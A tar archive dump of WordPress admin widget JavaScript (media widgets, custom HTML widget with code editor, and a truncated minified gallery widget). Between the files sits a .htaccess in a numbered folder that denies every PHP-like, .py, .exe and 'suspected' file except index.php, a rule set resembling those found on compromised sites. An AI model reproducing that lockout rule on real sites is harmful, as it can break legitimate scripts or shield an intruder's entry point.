				mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp;
			});

			_.each( mediaFrameProps, function( value, mediaProp ) {
				var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp;
				if ( control.model.schema[ propName ] ) {
					modelProps[ propName ] = value;
				}
			});

			if ( 'custom' === mediaFrameProps.size ) {
				modelProps.width = mediaFrameProps.customWidth;
				modelProps.height = mediaFrameProps.customHeight;
			}

			if ( 'post' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl;
			} else if ( 'file' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.url;
			}

			// Because some media frames use `id` instead of `attachment_id`.
			if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) {
				modelProps.attachment_id = mediaFrameProps.id;
			}

			if ( mediaFrameProps.url ) {
				extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase();
				if ( extension in control.model.schema ) {
					modelProps[ extension ] = mediaFrameProps.url;
				}
			}

			// Always omit the titles derived from mediaFrameProps.
			return _.omit( modelProps, 'title' );
		},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps = {};

			_.each( modelProps, function( value, modelProp ) {
				var fieldSchema = control.model.schema[ modelProp ] || {};
				mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value;
			});

			// Some media frames use attachment_id.
			mediaFrameProps.attachment_id = mediaFrameProps.id;

			if ( 'custom' === mediaFrameProps.size ) {
				mediaFrameProps.customWidth = control.model.get( 'width' );
				mediaFrameProps.customHeight = control.model.get( 'height' );
			}

			return mediaFrameProps;
		},

		/**
		 * Map model props to previewTemplateProps.
		 *
		 * @return {Object} Preview Template Props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps = {};
			_.each( control.model.schema, function( value, prop ) {
				if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) {
					previewTemplateProps[ prop ] = control.model.get( prop );
				}
			});

			// Templates need to be aware of the error.
			previewTemplateProps.error = control.model.get( 'error' );
			return previewTemplateProps;
		},

		/**
		 * Open the media frame to modify the selected item.
		 *
		 * @abstract
		 * @return {void}
		 */
		editMedia: function editMedia() {
			throw new Error( 'editMedia not implemented' );
		}
	});

	/**
	 * Media widget model.
	 *
	 * @class    wp.mediaWidgets.MediaWidgetModel
	 * @augments Backbone.Model
	 */
	component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{

		/**
		 * Id attribute.
		 *
		 * @type {string}
		 */
		idAttribute: 'widget_id',

		/**
		 * Instance schema.
		 *
		 * This adheres to JSON Schema and subclasses should have their schema
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object.<string, Object>}
		 */
		schema: {
			title: {
				type: 'string',
				'default': ''
			},
			attachment_id: {
				type: 'integer',
				'default': 0
			},
			url: {
				type: 'string',
				'default': ''
			}
		},

		/**
		 * Get default attribute values.
		 *
		 * @return {Object} Mapping of property names to their default values.
		 */
		defaults: function() {
			var defaults = {};
			_.each( this.schema, function( fieldSchema, field ) {
				defaults[ field ] = fieldSchema['default'];
			});
			return defaults;
		},

		/**
		 * Set attribute value(s).
		 *
		 * This is a wrapped version of Backbone.Model#set() which allows us to
		 * cast the attribute values from the hidden inputs' string values into
		 * the appropriate data types (integers or booleans).
		 *
		 * @param {string|Object} key - Attribute name or attribute pairs.
		 * @param {mixed|Object}  [val] - Attribute value or options object.
		 * @param {Object}        [options] - Options when attribute name and value are passed separately.
		 * @return {wp.mediaWidgets.MediaWidgetModel} This model.
		 */
		set: function set( key, val, options ) {
			var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this
			if ( null === key ) {
				return model;
			}
			if ( 'object' === typeof key ) {
				attrs = key;
				opts = val;
			} else {
				attrs = {};
				attrs[ key ] = val;
				opts = options;
			}

			castedAttrs = {};
			_.each( attrs, function( value, name ) {
				var type;
				if ( ! model.schema[ name ] ) {
					castedAttrs[ name ] = value;
					return;
				}
				type = model.schema[ name ].type;
				if ( 'array' === type ) {
					castedAttrs[ name ] = value;
					if ( ! _.isArray( castedAttrs[ name ] ) ) {
						castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list.
					}
					if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) {
						castedAttrs[ name ] = _.filter(
							_.map( castedAttrs[ name ], function( id ) {
								return parseInt( id, 10 );
							},
							function( id ) {
								return 'number' === typeof id;
							}
						) );
					}
				} else if ( 'integer' === type ) {
					castedAttrs[ name ] = parseInt( value, 10 );
				} else if ( 'boolean' === type ) {
					castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value );
				} else {
					castedAttrs[ name ] = value;
				}
			});

			return Backbone.Model.prototype.set.call( this, castedAttrs, opts );
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return {
				id: 0
			};
		}
	});

	/**
	 * Collection of all widget model instances.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Backbone.Collection}
	 */
	component.modelCollection = new ( Backbone.Collection.extend( {
		model: component.MediaWidgetModel
	}) )();

	/**
	 * Mapping of widget ID to instances of MediaWidgetControl subclasses.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
		idBase = widgetForm.find( '> .id_base' ).val();
		widgetId = widgetForm.find( '> .widget-id' ).val();

		// Prevent initializing already-added widgets.
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;

		/*
		 * Create a container element for the widget control (Backbone.View).
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		/*
		 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
		 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
		 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
		 */
		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetModel = new ModelConstructor( modelAttributes );

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: widgetModel
		});

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the container's dimensions are fixed so that ME.js
		 * can initialize with the proper dimensions.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.render();
			}
		};
		renderWhenAnimationDone();

		/*
		 * Note that the model and control currently won't ever get garbage-collected
		 * when a widget gets removed/deleted because there is no widget-removed event.
		 */
		component.modelCollection.add( [ widgetModel ] );
		component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl;
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val();

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: new ModelConstructor( modelAttributes )
		});

		component.modelCollection.add( [ widgetControl.model ] );
		component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl;

		widgetControl.render();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetContent, widgetId, widgetControl, attributes = {};
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
		widgetId = widgetForm.find( '> .widget-id' ).val();

		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		// Make sure the server-sanitized values get synced back into the model.
		widgetContent = widgetForm.find( '> .widget-content' );
		widgetContent.find( '.media-widget-instance-property' ).each( function() {
			var property = $( this ).data( 'property' );
			attributes[ property ] = $( this ).val();
		});

		// Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop.
		widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs );
		widgetControl.model.set( attributes );
		widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs );
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.mediaWidgets.init().
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
                                                                                                                                                custom-html-widgets.js                                                                              0000644                 00000036613 15265660322 0011042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://core.trac.wordpress.org/changeset/41260
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
                                                                                                                     860241/.htaccess                                                                                    0000644                 00000000334 15265660322 0007115 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>                                                                                                                                                                                                                                                                                                    media-gallery-widget.min.js                                                                         0000644                 00000007266 15265660322 0011703 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
!function(i){"use strict";var a=wp.media.view.MediaFrame.Post.extend({createStates:function(){this.states.add([new wp.media.controller.Library({id:"gallery",title:wp.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!0,library:wp.media.query(_.defaults({type:"image"},this.options.library))}),new wp.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd])}}),e=i.MediaWidgetModel.extend({}),t=i.MediaWidgetControl.extend({events:_.extend({},i.MediaWidgetControl.prototype.events,{"click .media-widget-gallery-preview":"editMedia"}),initialize:function(e){var t=this;i.MediaWidgetControl.prototype.initialize.call(t,e),_.bindAll(t,"updateSelectedAttachments","handleAttachmentDestroy"),t.selectedAttachments=new wp.media.model.Attachments,t.model.on("change:ids",t.updateSelectedAttachments),t.selectedAttachments.on("change",t.renderPreview),t.selectedAttachments.on("reset",t.renderPreview),t.updateSelectedAttachments(),wp.customize&&wp.customize.previewer&&t.selectedAttachments.on("change",function(){wp.customize.previewer.send("refresh-widget-partial",t.model.get("widget_id"))})},updateSelectedAttachments:function(){var e,t=this,i=t.model.get("ids"),d=_.pluck(t.selectedAttachments.models,"id"),a=_.difference(d,i);_.each(a,function(e){t.selectedAttachments.remove(t.selectedAttachments.get(e))}),_.difference(i,d).length&&(e=wp.media.query({order:"ASC",orderby:"post__in",perPage:-1,post__in:i,query:!0,type:"image"})).more().done(function(){t.selectedAttachments.reset(e.models)})},renderPreview:function(){var e=this,t=e.$el.find(".media-widget-preview"),i=wp.template("wp-media-widget-gallery-preview"),d=e.previewTemplateProps.toJSON();d.attachments={},e.selectedAttachments.each(function(e){d.attachments[e.id]=e.toJSON()}),t.html(i(d))},isSelected:function(){return!this.model.get("error")&&0<this.model.get("ids").length},editMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());e.gallery=new Backbone.Model(t),t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"manage",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,editing:!0,multiple:!0,state:"gallery-edit"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy)},selectMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"select",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,state:"gallery"}),(wp.media.frame=i).on("update",function(e){var 